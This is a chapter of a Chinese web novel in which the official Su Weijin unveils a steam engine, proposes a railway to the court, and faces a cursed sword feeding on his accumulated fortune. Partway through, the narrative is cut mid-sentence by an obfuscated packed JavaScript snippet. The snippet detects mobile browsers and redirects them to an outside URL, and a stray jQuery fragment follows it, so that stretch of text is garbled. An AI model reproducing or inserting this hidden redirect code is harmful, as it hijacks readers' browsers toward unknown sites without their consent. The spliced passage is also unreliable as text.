养心殿那场夜惊之后，小皇帝朱载重连着发了三天高烧。


    太医说是“惊吓过度”。


    开了安神汤药。


    可鹤岑偷偷告诉苏惟瑾：小皇帝眉心隐隐有黑气。


    那是“邪气侵体”的征兆。


    “能驱吗？”


    苏惟瑾问。


    “难。”


    鹤岑摇头。


    “邪剑未现，邪气无源。


    除非……找到持剑之人，断其根源。”


    持剑之人。


    鬼爪，或者说，那个穿红衣道袍的“玄真子传人”。


    胡三那边查了整整十天。


    国子监里穿红衣的只有两人：一个厨娘，五十多了，胖得走路都喘；一个杂役，是个哑巴，脑子不太灵光。


    显然都不是。


    鬼爪依旧规规矩矩教课。


    那件红衣道袍被找到后，他似乎毫无察觉。


    照旧日出而作、日落而息。


    这反而更让人不安——太镇定了，镇定得不正常。


    “他在等。”


    苏惟瑾对周大山说。


    “等一个时机。”


    “什么时机？”


    “剑种成熟的时机。”


    苏惟瑾摸了摸胸口。


    那里，剑种印记的红光时隐时现，像一颗随时会**的心脏。


    他需要做点什么，转移注意力，也转移……气运的汇聚。


    于是，他把目光投向了格物学堂的蒸汽机项目。


    ……


    道历三年，二月二，龙抬头。


    北京西郊，格物学堂“机巧院”试验场。


    这里原本是皇家猎苑的一角，如今被改造成了试验基地。


    巨大的工棚里，立着一个庞然大物——高近两丈，宽约一丈，通体铸铁打造，表面还带着砂模的粗糙痕迹。


    这就是格物学堂工匠们花了两年时间，在苏惟瑾“点拨”下，造出的第一台实用型蒸汽机。


    主事工匠叫李铁山。


    名字土气，手艺却是顶尖。


    他是赵铁生的堂弟，原本在工部军器局打铁，被苏惟瑾挖过来时还不乐意，觉得“奇技淫巧”没出息。


    可现在，他围着这台机器打转，眼神热切得像看自己刚出生的儿子。


    “国公爷，”


    李铁山搓着手。


    “都准备好了。


    锅炉水满，燃煤备足，活塞润滑也做了。


    就是……就是心里没底。”


    “怕什么？”


    苏惟瑾微笑。


    “失败了，重来。


    成功了，重赏。”


    “是！”


    李铁山一咬牙。


    “点火！”


    两个工匠手持火把，点燃了锅炉下的煤堆。


    黑烟升起，鼓风机嗡嗡作响，火焰在炉膛里越烧越旺。


    渐渐地，锅炉外壁开始发烫，水汽从缝隙里丝丝冒出。


    所有围观的人都屏住呼吸。


    工部来了几个主事，礼部来了个好奇的编修，格物学堂的学生、工匠挤满了工棚。


    连周大山都来了，他不懂这些，但国公爷说重要，那就重要。


    时间一点点过去。


    锅炉上的压力表指针，缓缓爬升。


    “快了……快了……”


    李铁山额头冒汗，眼睛死死盯着指针。


    当指针指向红色刻度线时——


    “开阀！”


    一个工匠猛地扳动阀门。


    “嗤——！”


    白色蒸汽喷涌而出，冲进汽缸。


    活塞在蒸汽推动下，猛地向后一退，接着向前一推——虽然缓慢，但确实在动！


    连杆带动飞轮，飞轮开始旋转，起初很慢，后来越转越快！


    “动了！动了！”


    一个年轻工匠激动得跳起来。


    “真动了！”


    李铁山眼圈一红，扑通跪在机器前。


    “祖宗保佑……成了！成了！”


    飞轮旋转，带动着旁边一台抽水机的曲轴。


    抽水机的活塞开始往复运动，将水槽里的水抽起来，又哗啦啦排出去。


    水花四溅，在阳光下闪着光。


    所有人都看呆了。


    不用人力，不用畜力，就靠烧煤、烧水，这铁疙瘩自己就能动，还能干活！


    “神迹……这是神迹啊！”


    礼部那个编修喃喃道。


    几个工部主事围上去，摸摸这儿，敲敲那儿，嘴里啧啧称奇：“这力道……抵得上十头牛吧？”


    “何止！


    你看那抽水的劲儿，顶得上三十个壮劳力！”


    “要是用在矿山上排水……”


    “用在纺纱机上呢？”


    “用在……船上呢？”


    想象力一旦打开，就收不住了。


    苏惟瑾站在人群外，静静看着那台轰鸣的机器。


    蒸汽机。


    在他原来的世界，这东西改变了整个文明。


    而在这里，它提前了两百年出现。


    虽然粗糙、笨重、效率低下——热效率恐怕连百分之五都不到——但它是真的，它在动，它在工作。


    超频大脑里储存的那些图纸、公式、原理，第一次在这个时代，变成了实实在在的东西。


    他感到一种……难以言喻的悸动。


    不是激动，是更复杂的东西。


    像是在改写历史，又像是在创造历史。


    而这创造带来的“气运”，正源源不断涌入他体内，浇灌着那颗该死的剑种。


    “国公爷，”


    李铁山跑过来，脸上还挂着泪。


    “成了！真的成了！


    您说的那些……那些‘热力学’、‘气压传动’，都对！都对了！”


    “辛苦你们了。”


    苏惟瑾拍拍他肩膀。


    “所有参与研发的工匠，赏银百两。


    李铁山，升格物学堂‘机巧院’院正，秩从五品。”


    从五品！


    一个工匠，当官了！


    周围响起一片羡慕的吸气声。


    李铁山愣了半天，才扑通跪下。


    “谢……谢国公爷！”


    “起来。”


    苏惟瑾扶起他。


    “这只是开始。


    我要你成立‘蒸汽机改良坊’，继续研究——缩小体积，提高效率，降低煤耗。


    需要多少钱，报上来，我批。”


    “是！小的……不，下官一定办好！”


    “还有，”


    苏惟瑾转向众人。


    “从今天起，格物学堂增设‘动力科’，专教蒸汽机原理、设计、制造。


    学生学成，可直接进改良坊。”


    这等于给了工匠一条通天路。


    以后谁还敢说“奇技淫巧没出息”？


    ……


    试验成功的消息，当天就传遍了京城。


    茶馆里，说书先生口沫横飞：“列位！你们猜怎么着？


    文国公爷让人造了个铁牛！


    不吃草不喝水，光吃煤，力气比一百头真牛还大！


    抽起水来，哗啦啦跟下雨似的！”


    “吹吧你！”


    有茶客不信。


    “千真万确！


    我表弟在格物学堂当杂役，亲眼所见！


    那铁牛还会叫呢，呼哧呼哧的！”


    百姓当奇闻听，官员们却看到了更多。


    第二天朝会，工部尚书第一个站出来：“陛下，文国公所创蒸汽机，实乃国之利器！


    臣请旨，拨款十万两，在全国矿山推广，用于排水、提升——此举可省人力无数，增矿产倍余！”


    户部尚书方钝这次没抠门：“臣附议。


    若真能省人力，长远看是省钱的。”


    连兵部尚书杨博都动了心思：“若是……若是用在战船上呢？


    不用帆，不靠风，逆水也能行？”


    这个想法太大胆，殿内一阵哗然。


    苏惟瑾等他们议论完，才缓缓开口：“蒸汽机用途，远不止此。


    本公已命格物学堂规划第一条‘实验铁路’——从西山煤矿至京城码头，全长二十里，铺设铸铁轨道。


    初期可用马匹牵引车厢，待蒸汽机改良成熟，便可造‘蒸汽机车’，自行牵引。”


    铁路？


    蒸汽机车？


    这些词儿，听着就玄乎。


    “文国公，”


    都察院一个御史忍不住了。


    “这……这得花多少钱？


    铸铁铺路？


    闻所未闻啊！”


    “闻所未闻，才要试。”


    苏惟瑾看着他。


    “郑和下西洋之前，谁见过那么大的宝船？


    永乐爷迁都之前，谁知道北京能成京师？


    不敢试，永远只能原地踏步。”


    他顿了顿，声音转冷：“至于花钱——辽东今年秋粮增收五十万石，鞍山铁矿已出铁十万斤，抚顺煤矿日产煤千吨。


    这些，都是钱。


    花在铁路上，花在机车上，花在让大明走得更快、更强的路上，本公觉得，值。”


    没人敢再说话了。


    数据摆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085235|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在那儿：辽东的粮食、铁矿、煤矿，都是实打实的收益。


    花自己的钱搞建设，谁能说不对？


    “准了。”


    小皇帝今天精神好了些，说话也干脆。


    ……


    散朝后，苏惟瑾没回府，而是去了格物学堂。


    他要亲自审阅铁路规划图。


    图纸铺开，线条精细，标注清晰。


    从西山到码头，沿线地形、坡度、桥梁位置，都标得明明白白。


    负责测绘的是格物学堂第一批毕业生，一个叫徐光启的年轻人——和历史同名纯属巧合，但确实聪明。


    “国公爷，”


    徐光启指着图纸。


    “按您的吩咐，轨道用生铁铸造，每段长三尺，下垫枕木。


    车厢初期用四轮，一车可载货五千斤。


    若用八马牵引，一个时辰能行二十里，比大车快三倍！”


    苏惟瑾点头：“很好。


    但你要记住，马匹只是过渡。


    真正的目标，是蒸汽机车。”


    “学生明白！”


    徐光启眼睛发亮。


    “蒸汽机改良坊那边，已经在设计小型化机型了。


    李院正说，最多一年，就能造出能装在车上的蒸汽机！”


    一年。


    苏惟瑾望向窗外。


    一年后，铁路通车，蒸汽机车轰鸣，大明的工业化将迈出实质性一步。


    而他胸口的剑种……


    他伸手按住胸口。


    那里，灼热感越来越明显。


    不是疼痛，是一种……饱胀感。


    像果实熟透，即将坠落。


    “公子，”


    胡三悄声进来，脸色凝重。


    “鬼爪那边……有动静了。”


    “说。”


    “他今天去了白云观——就是那个被查封的宁王旧观。


    在里面待了一个时辰，出来时……换了一身衣服。”


    “什么衣服？”


    胡三咽了口唾沫：“红色道袍。


    跟咱们找到的那件，一模一样。”


    苏惟瑾瞳孔一缩。


    红衣道袍，白云观，宁王旧地。


    鬼爪不藏了。


    他要动手了。


    “还有，”


    胡三继续道。


    “蒙安小王子今天在学堂，又画了一幅画。


    这次画的不是剑，是……是一个人。”


    “谁？”


    “画得歪歪扭扭，但能看出来，穿着绯色**袍，戴着玉冠。”


    胡三声音发颤。


    “是您，国公爷。


    画里的您，胸口插着一柄剑，火焰缠绕。


    蒙安说……红衣姐姐告诉他，这是‘剑归位’的样子。”


    剑归位。


    苏惟瑾缓缓闭上眼睛。


    原来如此。


    邪剑的目标，从来就不只是小皇帝。


    它要的，是皇帝的气运，加上他这个“异数”的气运，双份祭品，炼成真正的“天命剑”。


    而他推动历史变革所凝聚的气运，正是催熟剑种、引来邪剑的最佳养料。


    蒸汽机成功了。


    铁路要开建了。


    工业化萌芽了。


    他的“功业”，达到了前所未有的顶峰。


    而剑种，也终于……熟透了。


    蒸汽机试验大获成功，铁路规划震撼朝野，苏惟瑾推动的科技**迈出历史性一步。


    可这一切“功业”凝聚的庞大气运，却让胸口的剑种加速成熟，濒临爆发！


    鬼爪现身白云观，红衣道袍加身，不再伪装。


    蒙安画中“剑归位”的恐怖预言直指苏惟瑾。


    双份祭品的真相终于揭开——邪剑要吞噬的，是皇帝与“异数”的双重气运。


    当夜，苏惟瑾在书房审阅铁路图纸时，胸口剑种印记突然红光大盛，灼热到几乎要烧穿衣物！


    与此同时，窗外夜空，那颗血色小星光芒暴涨，其尾焰竟**成两道，一道指向皇宫，一道……直指文国公府！


    鹤岑惊恐来报：天象示警，“双星陨落”之兆已成！


    若不阻止，七日之内，帝星与“异星”（指苏惟瑾）将同时熄灭！


    而几乎同时，白云观方向传来轰然巨响，火光冲天。


    胡三急报：观中地下密室炸开，里面……飞出了一柄剑。


    一柄燃烧着黑色火焰，剑身赤红，剑柄缠绕着血色符文的——


    真正的火焰缠剑。


    它出来了。


    游戏，进入终局。